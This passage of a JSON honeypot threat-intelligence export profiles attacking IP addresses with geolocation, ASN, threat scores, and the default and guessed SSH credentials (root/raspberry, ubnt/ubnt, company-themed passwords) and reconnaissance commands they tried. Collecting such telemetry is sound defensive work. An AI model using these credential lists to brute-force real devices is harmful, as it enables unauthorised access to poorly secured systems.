      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T17:14:19.264000+00:00",
        "last_seen_30d": "2026-03-18T17:20:59.601000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "137.184.209.158": {
      "attack_count": 46,
      "first_seen": "2026-03-15T02:00:41.024Z",
      "last_seen": "2026-03-15T02:11:51.935Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pi"
      ],
      "passwords_attempted": [
        "!root",
        "1qaz2wsx",
        "P@ssw0rd2026",
        "qwerty123456",
        "raspberry",
        "root!@#"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:00:41.024000+00:00",
        "last_seen_30d": "2026-03-15T02:12:55.813000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 21
      }
    },
    "36.255.33.103": {
      "attack_count": 46,
      "first_seen": "2026-03-06T18:22:13.333Z",
      "last_seen": "2026-03-06T18:27:11.564Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T18:22:13.333000+00:00",
        "last_seen_30d": "2026-03-06T18:28:16.004000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "103.18.14.251": {
      "attack_count": 38,
      "first_seen": "2026-03-19T01:51:31.584Z",
      "last_seen": "2026-03-19T01:55:37.855Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T01:51:31.584000+00:00",
        "last_seen_30d": "2026-03-19T01:56:40.424000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "27.79.40.205": {
      "attack_count": 37,
      "first_seen": "2026-03-27T16:29:23.274Z",
      "last_seen": "2026-03-27T16:31:55.088Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "installer",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "0l0ctyQh243O63uD",
        "@",
        "admin",
        "installer",
        "root123",
        "ubnt",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T16:29:23.274000+00:00",
        "last_seen_30d": "2026-03-27T16:33:04.217000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 16
      }
    },
    "165.232.177.149": {
      "attack_count": 35,
      "first_seen": "2026-03-11T12:16:02.281Z",
      "last_seen": "2026-03-11T12:24:16.590Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21",
        "321",
        "4321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 50,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:16:02.281000+00:00",
        "last_seen_30d": "2026-03-11T12:25:23.249000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 15
      }
    },
    "116.203.194.55": {
      "attack_count": 31,
      "first_seen": "2026-03-24T17:19:30.408Z",
      "last_seen": "2026-03-24T18:59:41.430Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "123456"
      ],
      "commands_executed": [
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T16:36:25.232000+00:00",
        "last_seen_30d": "2026-03-24T19:00:42.937000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 31,
        "Suricata": 16
      }
    },
    "38.188.160.190": {
      "attack_count": 28,
      "first_seen": "2026-03-10T23:11:19.740Z",
      "last_seen": "2026-03-11T00:40:46.869Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "110987",
        "291186",
        "little1",
        "patriots",
        "ronaldo99"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:11:19.740000+00:00",
        "last_seen_30d": "2026-03-11T00:40:46.869000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 13
      }
    },
    "178.62.15.168": {
      "attack_count": 27,
      "first_seen": "2026-03-11T03:15:51.890Z",
      "last_seen": "2026-03-11T03:58:50.362Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "okx",
        "sol"
      ],
      "passwords_attempted": [
        "okx",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:12:26.236000+00:00",
        "last_seen_30d": "2026-03-11T03:59:54.821000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 27,
        "Suricata": 16
      }
    },
    "94.243.10.128": {
      "attack_count": 24,
      "first_seen": "2026-03-19T13:37:37.754Z",
      "last_seen": "2026-03-19T13:40:13.736Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 17.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T13:37:37.754000+00:00",
        "last_seen_30d": "2026-03-19T13:41:17.990000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "106.53.161.136": {
      "attack_count": 18,
      "first_seen": "2026-03-10T18:21:52.011Z",
      "last_seen": "2026-03-10T21:54:29.635Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "R00t123",
        "Welcome2026@",
        "admin123@Kelltech"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.2,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 165,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T05:14:07.513000+00:00",
        "last_seen_30d": "2026-03-10T21:55:30.578000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Heralding": 27,
        "Cowrie": 18
      }
    },
    "170.64.196.209": {
      "attack_count": 18,
      "first_seen": "2026-03-16T09:22:47.538Z",
      "last_seen": "2026-03-16T09:22:54.755Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "$4",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 485,
        "days_active_30d": 1,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-16T09:22:47+00:00",
        "last_seen_30d": "2026-03-16T09:24:06.979000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 301,
        "Honeytrap": 135,
        "Cowrie": 18,
        "Dionaea": 9,
        "Redishoneypot": 9,
        "Honeyaml": 7,
        "ElasticPot": 5,
        "Ipphoney": 1
      }
    },
    "14.103.118.113": {
      "attack_count": 14,
      "first_seen": "2026-03-08T07:26:39.887Z",
      "last_seen": "2026-03-08T07:47:49.083Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "krishna",
        "webmin"
      ],
      "passwords_attempted": [
        "krishna123",
        "webminpass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:26:39.887000+00:00",
        "last_seen_30d": "2026-03-08T07:53:45.086000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 10
      }
    },
    "2.57.122.199": {
      "attack_count": 12,
      "first_seen": "2026-03-25T13:03:42.203Z",
      "last_seen": "2026-03-30T16:02:38.549Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T13:03:42.203000+00:00",
        "last_seen_30d": "2026-03-30T16:03:45.606000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "60.13.54.161": {
      "attack_count": 12,
      "first_seen": "2026-03-12T13:24:06.345Z",
      "last_seen": "2026-03-12T13:26:13.137Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "345ert#$%ERT"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T13:24:06.345000+00:00",
        "last_seen_30d": "2026-03-12T13:36:13.343000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "45.79.181.94": {
      "attack_count": 11,
      "first_seen": "2026-03-12T06:50:47.983Z",
      "last_seen": "2026-03-12T06:50:48.409Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 69.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T12:50:36+00:00",
        "last_seen_30d": "2026-03-28T17:27:49.329000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 30,
        "Cowrie": 11
      }
    },
    "101.36.104.242": {
      "attack_count": 10,
      "first_seen": "2026-03-03T19:10:51.135Z",
      "last_seen": "2026-03-03T19:12:50.100Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 60.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.8,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T19:10:51.135000+00:00",
        "last_seen_30d": "2026-03-29T12:58:36.025000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Tanner": 46,
        "Cowrie": 10
      }
    },
    "150.139.194.15": {
      "attack_count": 10,
      "first_seen": "2026-03-06T19:18:46.489Z",
      "last_seen": "2026-03-06T19:37:17.386Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "km",
        "root"
      ],
      "passwords_attempted": [
        "@qwer2024",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58541,
      "as_org": "Qingdao,266000",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T19:18:46.489000+00:00",
        "last_seen_30d": "2026-03-06T19:38:20.235000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "172.94.9.155": {
      "attack_count": 10,
      "first_seen": "2026-03-06T02:18:12.999Z",
      "last_seen": "2026-03-06T04:50:16.962Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2026#Kelltech",
        "kelltech2024!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:41:38.256000+00:00",
        "last_seen_30d": "2026-03-06T04:51:23.610000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "77.90.185.105": {
      "attack_count": 10,
      "first_seen": "2026-03-06T00:21:10.169Z",
      "last_seen": "2026-03-06T04:59:43.034Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "#2024Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:13:53.023000+00:00",
        "last_seen_30d": "2026-03-06T05:00:46.967000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10,
        "Heralding": 1
      }
    },
    "167.94.138.38": {
      "attack_count": 8,
      "first_seen": "2026-03-11T19:37:42.825Z",
      "last_seen": "2026-03-11T19:38:26.391Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.7,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 22,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T07:41:48+00:00",
        "last_seen_30d": "2026-03-23T14:28:55.105000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 49,
        "Cowrie": 8,
        "Dionaea": 1
      }
    },
    "176.65.148.68": {
      "attack_count": 8,
      "first_seen": "2026-03-17T01:50:56.534Z",
      "last_seen": "2026-03-17T20:20:37.722Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 78.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.2,
        "persistence": 21.7,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 838,
        "days_active_30d": 26,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-06T22:01:24.117000+00:00",
        "last_seen_30d": "2026-03-31T01:19:16.839000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 634,
        "Honeytrap": 195,
        "Cowrie": 8,
        "Tanner": 1
      }
    },
    "192.42.116.44": {
      "attack_count": 8,
      "first_seen": "2026-03-30T19:51:15.563Z",
      "last_seen": "2026-03-30T19:51:36.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T19:51:15.563000+00:00",
        "last_seen_30d": "2026-03-30T19:52:40.943000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "41.83.206.39": {
      "attack_count": 8,
      "first_seen": "2026-03-31T18:41:23.426Z",
      "last_seen": "2026-03-31T18:41:27.468Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T18:41:23.426000+00:00",
        "last_seen_30d": "2026-03-31T18:42:31.155000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "98.93.245.202": {
      "attack_count": 8,
      "first_seen": "2026-03-13T00:57:50.786Z",
      "last_seen": "2026-03-17T00:59:26.045Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
